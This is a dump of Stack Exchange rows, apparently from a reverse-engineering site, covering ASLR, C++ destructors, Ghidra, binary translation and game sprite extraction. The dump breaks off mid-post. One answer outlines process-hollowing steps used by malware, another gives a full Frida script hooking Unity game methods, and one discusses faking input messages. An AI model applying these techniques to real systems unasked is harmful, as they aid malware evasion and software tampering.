  <row Id="24722" PostTypeId="2" ParentId="2708" CreationDate="2020-04-16T06:00:59.603" Score="0" Body="&lt;p&gt;Try getting code inspiration from process hollowing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's one that remotely runs it on a new space:&#xA;&lt;a href=&quot;https://github.com/hasherezade/libpeconv/tree/master/run_pe&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/hasherezade/libpeconv/tree/master/run_pe&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/m0n0ph1/Process-Hollowing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/m0n0ph1/Process-Hollowing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;run the packer loader from a newly allocated memory (copy loader shellcode to and run from RWX allocated mem.)&lt;/li&gt;&#xA;&lt;li&gt;unmap loader PE image, realloc, and replace it with new PE image&lt;/li&gt;&#xA;&lt;li&gt;dynamically import functions from new PE image&lt;/li&gt;&#xA;&lt;li&gt;jump to entry point of new PE image&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I haven't dug deep about resource loading yet. But if the new PE image uses LoadResource, it might read the loader's instead.  Not sure about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get more ideas from debugging a UPX packed sample.&lt;/p&gt;&#xA;" OwnerUserId="30705" LastActivityDate="2020-04-16T06:00:59.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24723" PostTypeId="2" ParentId="21242" CreationDate="2020-04-16T06:58:08.927" Score="2" Body="&lt;p&gt;This is currently(April 2020) still not possible.&#xA;The feature is discussed in &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/573&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra/issues/573&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not clear if this is something that the Ghidra developers will implement in the near future or if this needs to implemented by the community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case I think that when this happens this issue will be marked as resolved and reference the PR that implements the feature and thus answers the question.&lt;/p&gt;&#xA;" OwnerUserId="31435" LastActivityDate="2020-04-16T06:58:08.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24724" PostTypeId="2" ParentId="8835" CreationDate="2020-04-16T09:43:32.353" Score="1" Body="&lt;p&gt;What you're describing here is essentially the same as a static binary translator that uses a high level language such as C as its output target rather than a specific architecture.  It's not quite as advanced a mechanism as decompiling but it has proven quite effective in restricted domains such as arcade video games. (eg &lt;a href=&quot;http://vide.malban.de/vectrex-programs/vecfever&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://vide.malban.de/vectrex-programs/vecfever&lt;/a&gt; )  There have been a few of these written; I have code for work in progress that does this for 6809, 6502, z80 and Cinematronic CPUs for example (though probably not immediately usable - it's a coming-together of four separate background projects with no great urgency).  Anyway feel free to poke around and see if there's anything here that is helpful to you: &lt;a href=&quot;http://gtoal.com/SBTPROJECT/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://gtoal.com/SBTPROJECT/&lt;/a&gt; (the 6809 one is probably the cleanest code if you're just browsing and not actually running it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a bit of a writeup of the overall method at &lt;a href=&quot;http://gtoal.com/sbt/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://gtoal.com/sbt/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            //        LDA   $FFFF,X                 ; 0431: A6 1F         &#xA;      A = memory[(UINT16)(X + 0xffff)];&#xA;  //  N = A;&#xA;  //  Z = A;&#xA;  //  V = 0;&#xA;&#xA;            //        LEAU  ,X                      ; 0433: 33 84         &#xA;      U = X;&#xA;&#xA;            //        LDX   #$0EC8                  ; 0435: 8E 0E C8      &#xA;      X = 0x0ec8;&#xA;  //  Z = X;&#xA;  //  N = (X) &amp;gt;&amp;gt; 8;&#xA;  //  V = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(the commented out lines are due to optimisation of redundant stores)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than output functional code for execution, you could satisfy the OP's request by outputting comments that describe in detail what the operations are doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other practical translators have been written by David Welch, Norbert Keher, Thomas Sontowski and others.  There is also Project Orion which is a multi-person multi-target translator headed up by Neil Bradley (respected emulator author) and several other members of the Orion mailing list - that translator had working front ends for 6502 and z80, with 68000 and 6809 also being under development, and built an internal AST (Abstract Syntax Tree, much as described in one of the earlier answers in this thread) in order to output cleaner and more efficient code to a variety of back ends including C.  (There is also some academic work produced by Christina Cifuentes et al.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Graham&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS When the output is a generic IR (Internal Representation) such as C or LLVM's internal IR, as opposed to when you produce binary directly, or indirectly by outputting asm for a specific architecture) the technique is properly called &quot;Compiled Instruction Set Simulation&quot; - but most people just call it static binary translation.&lt;/p&gt;&#xA;" OwnerUserId="32815" LastActivityDate="2020-04-16T09:43:32.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24726" PostTypeId="2" ParentId="24721" CreationDate="2020-04-16T20:46:11.313" Score="3" Body="&lt;p&gt;These wrappers are used in classes with virtual destructors to cover two situations:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;ensure that the correct &lt;code&gt;operator delete&lt;/code&gt; is called after the object's destruction via &lt;code&gt;delete pClass;&lt;/code&gt; statement&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;deletion of arrays allocated via &lt;code&gt;new Class[N]&lt;/code&gt; expression in the &lt;code&gt;delete [] class_array;&lt;/code&gt; statement to ensure the correct number of items gets deleted using the correct &lt;code&gt;operator delete&lt;/code&gt; and handle potential exceptions during the process&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://www.openrce.org/articles/full_view/23&quot; rel=&quot;nofollow noreferrer&quot;&gt;my old article&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When class has a virtual destructor, compiler generates a helper&#xA;  function - deleting destructor. Its purpose is to make sure that a&#xA;  proper &lt;code&gt;operator delete&lt;/code&gt; gets called when destructing a class.&#xA;  Pseudo-code for a deleting destructor looks like following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;virtual void * A::'scalar deleting destructor'(uint flags)&#xA;{&#xA;  this-&amp;gt;~A();&#xA;  if (flags&amp;amp;1) A::operator delete(this);&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;The address of this function is placed into the vftable instead of the&#xA;  destructor's address. This way, if another class overrides the virtual&#xA;  destructor, &lt;code&gt;operator delete&lt;/code&gt; of that class will be called. Though in&#xA;  real code &lt;code&gt;operator delete&lt;/code&gt; gets overriden quite rarely, so usually&#xA;  you see a call to the default delete().&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Sometimes compiler can also&#xA;  generate a &lt;em&gt;vector deleting destructor&lt;/em&gt;. Its code looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;virtual void * A::'vector deleting destructor'(uint flags)&#xA;{&#xA;  if (flags&amp;amp;2) //destructing a vector&#xA;  {&#xA;    array = ((int*)this)-1; //array size is stored just before the this pointer&#xA;    count = array[0];&#xA;    'eh vector destructor iterator'(this,sizeof(A),count,A::~A);&#xA;    if (flags&amp;amp;1) A::operator delete(array);&#xA;  }&#xA;  else {&#xA;    this-&amp;gt;~A();&#xA;    if (flags&amp;amp;1) A::operator delete(this);&#xA;  }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For more details see also &lt;a href=&quot;http://www.openrce.org/articles/files/jangrayhood.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;C++: Under the Hood&lt;/em&gt;&lt;/a&gt; by Jan Gray, one of the main developers of Visual C++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also recommend you to make some classes with custom operators new/delete and check the generated code.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2020-04-18T21:55:51.200" LastActivityDate="2020-04-18T21:55:51.200" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24727" PostTypeId="1" CreationDate="2020-04-17T05:46:41.557" Score="0" ViewCount="354" Body="&lt;p&gt;I was debugging some programs with gdb, I already set the disable-randomization to on, but I was having trouble, I set a break point and examined that the $sp is different everytime, what causes this randomization besides ASLR? &lt;/p&gt;&#xA;" OwnerUserId="32826" LastActivityDate="2023-12-23T09:03:20.400" Title="ASLR and it's effect" Tags="|gdb|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24728" PostTypeId="1" AcceptedAnswerId="24732" CreationDate="2020-04-17T07:27:39.933" Score="1" ViewCount="117" Body="&lt;p&gt;I wrote the following small C program and you can also see the stack in the screenshot.&lt;a href=&quot;https://i.stack.imgur.com/0JLE8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0JLE8.png&quot; alt=&quot;C stack&quot;&gt;&lt;/a&gt; My question is twofold:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How come there are entire rows of other data between the 3 stack strings?&lt;/li&gt;&#xA;&lt;li&gt;Why is my first stack string actually on top of the stack? I would think if I had 3 stack strings in succession, the string coming first in the C program would be at the &lt;em&gt;bottom&lt;/em&gt; of the stack, and the last string pushed would be at the top.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2020-04-17T14:34:43.393" Title="Why does this x64 stack have other bytes and seems to be in reverse order?" Tags="|c|gdb|stack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24730" PostTypeId="2" ParentId="24727" CreationDate="2020-04-17T09:36:29.890" Score="0" Body="&lt;p&gt;ASLR causes the base executable and external libraries (.so, .dll, etc) to load at random base addresses in order to make exploitation harder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The stack is not part of the loaded image, it is dynamically allocated when the process starts. The changes of stack address is not related to ASLR.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-04-17T09:36:29.890" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24732" PostTypeId="2" ParentId="24728" CreationDate="2020-04-17T14:34:43.393" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How come there are entire rows of other data between the 3 stack strings?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;First of all, in &lt;code&gt;x64&lt;/code&gt; Linux code, the stack should be aligned to &lt;code&gt;16&lt;/code&gt; bytes before any function call, so you can expect that &lt;code&gt;rsp&lt;/code&gt; will be aligned as such in compiler generated code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, it's just a compiler's decision how many bytes it will use for item allocation. In GCC, for instance, you can set the alignment of stack items to any power &lt;code&gt;n&lt;/code&gt; of &lt;code&gt;2&lt;/code&gt;, using &lt;code&gt;-mpreferred-stack-boundary=n&lt;/code&gt; option, according to &lt;a href=&quot;https://stackoverflow.com/questions/1061818/stack-allocation-padding-and-alignment&quot;&gt;accepted answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why is my first stack string actually on top of the stack? I would think if I had 3 stack strings in succession, the string coming first in the C program would be at the bottom of the stack, and the last string pushed would be at the top.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Again, it's a compiler's decision how it will organise local variables on the stack as long as it produces code compliant with &lt;code&gt;C&lt;/code&gt; standard. I agree, that the natural way is to put the arguments in order of declarations on the stack, but as you see, you cannot assume this in general. If you want to force this order, you can put them in a struct, according to &lt;a href=&quot;https://stackoverflow.com/questions/1102049/order-of-local-variable-allocation-on-the-stack/1102165#1102165&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2020-04-17T14:34:43.393" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24733" PostTypeId="2" ParentId="18877" CreationDate="2020-04-17T15:18:46.050" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/iddoeldor/mplus&quot; rel=&quot;nofollow noreferrer&quot;&gt;Answer&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Constants&#xA;    const kIgnoreArg = '-';&#xA;&#xA;    // Utils&#xA;    function pmalloc() {&#xA;        return Memory.alloc(Process.pointerSize);&#xA;    }&#xA;    function debug() {&#xA;        send({ event: 'DEBUG', data: Array.prototype.slice.call(arguments).join(' ') });&#xA;    }&#xA;&#xA;    // Globals&#xA;    var Metadata = {}; // &amp;lt; className, { pointer, methods &amp;lt; methodName, { pointer, args[], returnType } &amp;gt;, fields } &amp;gt;&#xA;    var Global = {}; // save global variables across hooks&#xA;    var MonoApi = {&#xA;        mono_image_get_table_rows: ['int', ['MonoImage*', 'int'/*table_id*/]],&#xA;        mono_class_get: ['MonoClass*', ['MonoImage*', 'int'/*type_token*/]],&#xA;        mono_class_get_parent: ['MonoClass*', ['MonoClass*']],&#xA;        mono_class_get_name: ['char*', ['MonoClass*']],&#xA;        mono_method_get_name: ['char*', ['MonoMethod*']],&#xA;        mono_class_get_methods: ['MonoMethod*', ['MonoClass*', 'iter*']],&#xA;        mono_class_get_fields: ['MonoClassField*', ['MonoClass*', 'iter*']],&#xA;        mono_signature_get_params: ['MonoType*', ['MonoMethod*', 'iter*']],&#xA;        mono_field_full_name: ['char*', ['MonoField*']],&#xA;        mono_class_get_namespace: ['char*', ['MonoClass*']],&#xA;        mono_type_full_name: ['char*', ['MonoType*']],&#xA;        mono_signature_get_return_type: ['MonoType*', ['MonoMethodSignature*']],&#xA;        mono_class_get_method_from_name: ['MonoMethod*', ['MonoClass*', 'name*', 'int'/*number of params. -1 for any*/]],&#xA;        mono_method_signature: ['MonoMethodSignature*', ['MonoMethod*']],&#xA;        /** gpointer mono_compile_method (MonoMethod *method)&#xA;         * http://docs.go-mono.com/index.aspx?link=xhtml%3Adeploy%2Fmono-api-unsorted.html */&#xA;        mono_compile_method: ['gpointer*'/* pointer to the native code produced.*/, ['MonoMethod*']],&#xA;        /**&#xA;         * char* mono_string_to_utf8 (MonoString *s)&#xA;         * @param    s  a System.String&#xA;         * @Description&#xA;         # TODO mono_free&#xA;         *       Returns the UTF8 representation for s. The resulting buffer needs to be freed with mono_free().&#xA;         *       deprecated Use mono_string_to_utf8_checked to avoid having an exception arbritraly raised.&#xA;         */&#xA;        mono_string_to_utf8: ['char*', ['System.String*']],&#xA;        getClassMethods: function (klass) {&#xA;            var method, methods = {}, iter = pmalloc();&#xA;&#xA;            while ( !(method = MonoApi.mono_class_get_methods(klass, iter)).isNull() ) {&#xA;                var methodName = MonoApi.mono_method_get_name(method).readUtf8String();&#xA;                if (!methodName.startsWith('&amp;lt;') /*|| methodName.startsWith('.')*/) {&#xA;                    var methodRef = MonoApi.mono_class_get_method_from_name(klass, Memory.allocUtf8String(methodName), -1);&#xA;                    var monoSignature = MonoApi.mono_method_signature(methodRef);&#xA;                    var retType = MonoApi.mono_type_full_name(MonoApi.mono_signature_get_return_type(monoSignature)).readUtf8String();&#xA;                    var args = MonoApi.getSignatureParams(monoSignature);&#xA;                    methods[methodName] = { ref: methodRef, args: args, ret: retType };&#xA;                }&#xA;            }&#xA;&#xA;            return methods;&#xA;        },&#xA;        getSignatureParams: function (monoSignature) {&#xA;            var params, fields = [], iter = pmalloc();&#xA;&#xA;            while ( !(params = MonoApi.mono_signature_get_params(monoSignature, iter)).isNull() )&#xA;                fields.push( MonoApi.mono_type_full_name(params).readUtf8String() );&#xA;&#xA;            return fields;&#xA;        },&#xA;        getClassFields: function (monoClass) {&#xA;            var field, fields = [], iter = pmalloc();&#xA;&#xA;            while ( !(field = MonoApi.mono_class_get_fields(monoClass, iter)).isNull() )&#xA;                fields.push( &#xA;                    MonoApi.mono_field_full_name(field).readUtf8String().split(':')[1] );&#xA;&#xA;            return fields;&#xA;        },&#xA;        init: function() {&#xA;            var monoModule = Process.findModuleByName('mono.dll');&#xA;            debug(&quot;Process.findModuleByName('mono.dll') ? &quot; + monoModule);&#xA;            if (!monoModule) {&#xA;                var monoThreadAttach = Module.findExportByName(null, 'mono_thread_attach');&#xA;                debug(&quot;monoThreadAttach ? &quot; + monoThreadAttach);&#xA;                if (monoThreadAttach)&#xA;                    monoModule = Process.findModuleByAddress(monoThreadAttach);&#xA;            }&#xA;            if (!monoModule) throw new Error('Mono.dll not found');&#xA;&#xA;            Object.keys(MonoApi).map(function(exportName) {&#xA;                var monoApiIter = MonoApi[exportName];&#xA;                if (typeof monoApiIter === 'object') {&#xA;                    var returnValue = monoApiIter[0].endsWith('*') ? 'pointer' : monoApiIter[0];&#xA;                    var argumentTypes = monoApiIter[1].map(function(t) { return t.endsWith('*') ? 'pointer' : t });&#xA;                    var exportAddress = Module.findExportByName(monoModule.name, exportName);&#xA;                    MonoApi[exportName] = new NativeFunction(exportAddress, returnValue, argumentTypes);&#xA;                }&#xA;            });&#xA;        }&#xA;    };&#xA;&#xA;    function intercept(op) {&#xA;        var nothingSetSoJustLogMethodArguments = !op.argumentsKeys &amp;amp;&amp;amp; !op.onEnterCallback &amp;amp;&amp;amp; !op.onLeaveCallback;&#xA;        var method = Metadata[op.className].methods[op.methodName];&#xA;        debug('Intercepting', op.className + '#' + op.methodName, JSON.stringify(method));&#xA;        // TODO assert re compile is necessary&#xA;        var monoCompileMethod = MonoApi.mono_compile_method(method.ref);&#xA;        Interceptor.attach(monoCompileMethod, {&#xA;            onEnter: function (args) {&#xA;                var argsValues = {};&#xA;                for (var i = 0, l = method.args.length; i &amp;lt; l; i++) {&#xA;                    var key = op.argumentsKeys ? op.argumentsKeys[i] : i;&#xA;                    if (key === kIgnoreArg)&#xA;                        continue;&#xA;                    var j = i + 1;&#xA;                    switch (method.args[i]) {&#xA;                        case 'string':&#xA;                            argsValues[key] = MonoApi.mono_string_to_utf8(args[j]).readUtf8String();&#xA;                            break;&#xA;                        case 'long':&#xA;                        case 'int':&#xA;                            argsValues[key] = parseInt(args[j]);&#xA;                            break;&#xA;                        default:&#xA;                            argsValues[key] = args[j];&#xA;                            break;&#xA;                    }&#xA;                }&#xA;&#xA;                if (nothingSetSoJustLogMethodArguments)&#xA;                    debug(op.className + '#' + op.methodName, JSON.stringify(argsValues, null, 2));&#xA;&#xA;                if (op.onEnterCallback)&#xA;                    op.onEnterCallback(argsValues);&#xA;            },&#xA;            onLeave: function (retval) {&#xA;                if (op.onLeaveCallback)&#xA;                    op.onLeaveCallback(retval);&#xA;            }&#xA;        });&#xA;    }&#xA;&#xA;    function getMetadata(monoImage) {&#xA;        // MONO_TABLE_TYPEDEF = 0x2; // https://github.com/mono/mono/blob/master/mono/metadata/blob.h#L56&#xA;        for (var i = 1, l = MonoApi.mono_image_get_table_rows(monoImage, 0x2); i &amp;lt; l; ++i) {&#xA;            // MONO_TOKEN_TYPE_DEF = 0x2000000 // https://github.com/mono/mono/blob/master/mono/metadata/tokentype.h#L16&#xA;            var mClass = MonoApi.mono_class_get(monoImage, 0x2000000 | i);&#xA;            var className = MonoApi.mono_class_get_name(mClass).readUtf8String();&#xA;            var classNameSpace = MonoApi.mono_class_get_namespace(mClass).readUtf8String();&#xA;            try {&#xA;                var parentClassName = MonoApi.mono_class_get_name( MonoApi.mono_class_get_parent(mClass) ).readUtf8String();&#xA;                if (parentClassName === 'MonoBehaviour' &amp;amp;&amp;amp; classNameSpace === '') {&#xA;                    Metadata[className] = {&#xA;                        // namespace: classNameSpace,&#xA;                        ref: mClass,&#xA;                        methods: MonoApi.getClassMethods(mClass),&#xA;                        fields: MonoApi.getClassFields(mClass)&#xA;                    };&#xA;                }&#xA;            } catch (e) {&#xA;                debug(&quot;Error @ getMetadata/mono_class_get_parent&quot;, e);&#xA;            }&#xA;        }&#xA;        send({ event: 'METADATA', data: Metadata });&#xA;    }&#xA;&#xA;    function hookMonoLoad() {&#xA;        // hooking the method in charge of loading the DLL files&#xA;        Interceptor.attach(Module.findExportByName(null, 'mono_assembly_load_from_full'), {&#xA;            onEnter: function (args) {&#xA;                // passing variables to onLeave scope using 'this'&#xA;                this._args = {&#xA;                    image: args[0], // MonoImage* Image to load the assembly from&#xA;                    fname: args[1].readUtf8String() // const char* assembly name to associate with the assembly&#xA;                    // status: args[2], // MonoImageOpenStatus* returns the status condition&#xA;                    // refonly: args[3] // gboolean Whether this assembly is being opened in &quot;reflection-only&quot; mode.&#xA;                };&#xA;            },&#xA;            onLeave: function (_retval) {&#xA;                // Return value: A valid pointer to a MonoAssembly* on success and the status will be set to MONO_IMAGE_OK&#xA;                //               or NULL on error.&#xA;                if (this._args.fname.endsWith('Assembly-CSharp.dll')) {&#xA;                    MonoApi.init();&#xA;                    getMetadata(this._args.image);&#xA;                    /*placeholder*/&#xA;                }&#xA;            }&#xA;        });&#xA;    }&#xA;&#xA;    function awaitForCondition(func) {&#xA;        // From MDN: If this parameter is less than 10, a value of 10 is used. Note that the actual delay may be longer;&#xA;        var delay = 10; // Fight for CPU&#xA;        var intervalPointer = setInterval(function() {&#xA;            // The condition that asserts Mono's required resources can be hooked&#xA;            // TODO switch with intercepting dlopen wait for mono.dll ?&#xA;            // FIXME use Module.ensureInitialized(name)&#xA;            if (Module.findExportByName(null, 'mono_get_root_domain')) {&#xA;                clearInterval(intervalPointer);&#xA;                func(); // Executing the passed function&#xA;            }&#xA;        }, delay);&#xA;    }&#xA;&#xA;    // Main&#xA;    Java.perform(awaitForCondition(hookMonoLoad));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22071" LastActivityDate="2020-04-17T15:18:46.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24736" PostTypeId="1" CreationDate="2020-04-17T20:04:33.103" Score="1" ViewCount="55" Body="&lt;p&gt;Could you please specify in a few words main contemporary deobfuscation techniques which we can apply to 32/64 bit PE files?&#xA;For example, (1) using instruction templates, such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov edx, 5B1F04F1h&#xA;xor edx, 6ADB1F45h&#xA;add edx, 0CE3BE450h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can be convert to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov r32, imm32_1&#xA;xor r32, imm32_2&#xA;add r32, imm32_3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pack into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov r32, (imm32_1 ^ imm32_2 + imm32_3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And later become:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov edx, 4h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24208" LastEditorUserId="24208" LastEditDate="2020-04-18T14:28:52.430" LastActivityDate="2020-04-18T14:28:52.430" Title="Main contemporary deobfuscation techniques" Tags="|binary-analysis|deobfuscation|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24738" PostTypeId="1" CreationDate="2020-04-17T23:52:16.240" Score="4" ViewCount="313" Body="&lt;p&gt;Where do mouse-clicks in a program's GUI window/menus (Windows OS) get stored in memory? Is there some sort of input/GUI &quot;queue&quot; similar to Windows messages queuing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if it'd be possible to manually manipulate these queues, for example, to make a program (or the OS) think that an item or coordinate was mouse-clicked when it wasn't (physically).&lt;/p&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2021-05-14T20:31:33.840" Title="Where do mouse/keyboard GUI inputs get queued or stored?" Tags="|windows|memory|function-hooking|stack|windows-10|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24739" PostTypeId="1" AcceptedAnswerId="24740" CreationDate="2020-04-18T02:40:07.880" Score="7" ViewCount="4354" Body="&lt;p&gt;1980s arcade video games generally had multiple ROM chips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose these often mapped into a single address space and often may have been bank switched in and out of sections of a single address space, and often a mix of the two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conceptually either should be possible in Ghidra's Memory Map window, using &quot;Overlay&quot; with &quot;File Bytes&quot;. Even though I can import a second file into a window that already has a file open, going into the Memory Map, even though there's a dropdown menu for &quot;File Bytes&quot;, it's only populated with one file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way I haven't been able to find that lets me load two ROMs into a single address space? It's certainly useful for many other scenarios than just old arcade games.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2020-04-18T03:27:46.730" Title="Is it possible to load multiple files into a single Ghidra memory map?" Tags="|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24740" PostTypeId="2" ParentId="24739" CreationDate="2020-04-18T03:27:46.730" Score="8" Body="&lt;p&gt;Yes it is!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After puzzling over this for a day and a bit I figured it out after posting the question here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using &lt;strong&gt;File/Import&lt;/strong&gt; use &lt;strong&gt;File/Add To Program&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there it seems to work as expected.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2020-04-18T03:27:46.730" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24741" PostTypeId="2" ParentId="24738" CreationDate="2020-04-18T07:20:17.273" Score="1" Body="&lt;p&gt;Once messages are dispatched to the application, it is the architecture of each application that determines the processing.&lt;/p&gt;&#xA;&lt;p&gt;Certain applications create queues, others directly dispatch the message directly. The latter is more common.&lt;/p&gt;&#xA;&lt;p&gt;Ideally, you could directly call the message pump with your messages, this way you can make the application believe that certain events have occurred.&lt;/p&gt;&#xA;&lt;p&gt;Depending on the application, this could work. However, the problem is that once the application receives your fake messages, it could require additional information from the environment and the processing might not go as expected.&lt;/p&gt;&#xA;&lt;p&gt;For example, suppose you inject a mouse event, and the application also checks the state of the keyboard via &lt;code&gt;GetAsyncKeyState&lt;/code&gt;, then you won't be able to go further on the processing because you cannot fake easily the state of the keyboard if not by hooking the API too.&lt;/p&gt;&#xA;&lt;p&gt;A better approach is to stimulate the user interaction via &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-sendmessage&quot; rel=&quot;nofollow noreferrer&quot;&gt;SendMessage&lt;/a&gt; (which however had the same problem with async checks) or with &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-sendinput&quot; rel=&quot;nofollow noreferrer&quot;&gt;SendInput&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27706" LastEditorUserId="245" LastEditDate="2021-05-14T20:31:33.840" LastActivityDate="2021-05-14T20:31:33.840" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24742" PostTypeId="1" AcceptedAnswerId="24748" CreationDate="2020-04-18T08:13:04.007" Score="1" ViewCount="1681" Body="&lt;p&gt;I am currently trying to rip the sprites from an Nintendo DS game called Cookie Shop - Create Your Dream Shop but they are all in _LZ.bin files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I've unpacked its compression, I could see lots of files titles spr.bin and pal.bin&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KExdL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KExdL.png&quot; alt=&quot;Figure 1: The file list after unpacking the _LZ.bin&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that these files are the sprites as well as their corresponding palettes but I had zero idea to open them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using CrystalTile2, but all it came out was garbled mess, both the palette and sprite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the hexadecimals for the palettes and sprites respectively.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CpHSe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CpHSe.png&quot; alt=&quot;Figure 2: Palette hex&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/hhuCN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hhuCN.png&quot; alt=&quot;Figure 3(1): Sprite hex&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/PdfoB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PdfoB.png&quot; alt=&quot;Figure 3(2): Sprite hex 